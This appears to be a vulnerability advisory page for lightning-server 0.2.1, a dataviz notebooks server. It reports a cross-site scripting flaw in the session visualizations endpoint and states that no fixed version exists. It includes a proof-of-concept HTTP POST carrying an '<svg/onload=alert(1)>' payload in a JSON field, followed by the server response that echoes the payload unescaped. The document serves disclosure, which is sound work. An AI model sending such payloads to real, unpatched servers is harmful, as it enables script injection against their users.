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lightning-server@0.2.1 vulnerabilities

lightning dataviz notebooks

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Direct Vulnerabilities

Known vulnerabilities in the lightning-server package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Cross-site Scripting (XSS)

lightning-server is a lightning dataviz notebooks server.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to inject malicious JavaScript code as part of a session controller.

PoC

POST /sessions/6c9e14af-df56-4fb8-80fc-764f4c346839/visualizations/ HTTP/1.1
Host: dvws.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 33

{"type": "<svg/onload=alert(1)>"}

HTTP/1.1 404 Not Found
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 45
ETag: W/"2d-GxJ1BGb3IWYmlEm6oGRLzQ"
Vary: Accept-Encoding
Date: Sat, 17 Oct 2020 19:44:41 GMT
Connection: close

Could not find viz type <svg/onload=alert(1)>

How to fix Cross-site Scripting (XSS)?

There is no fixed version for lightning-server.

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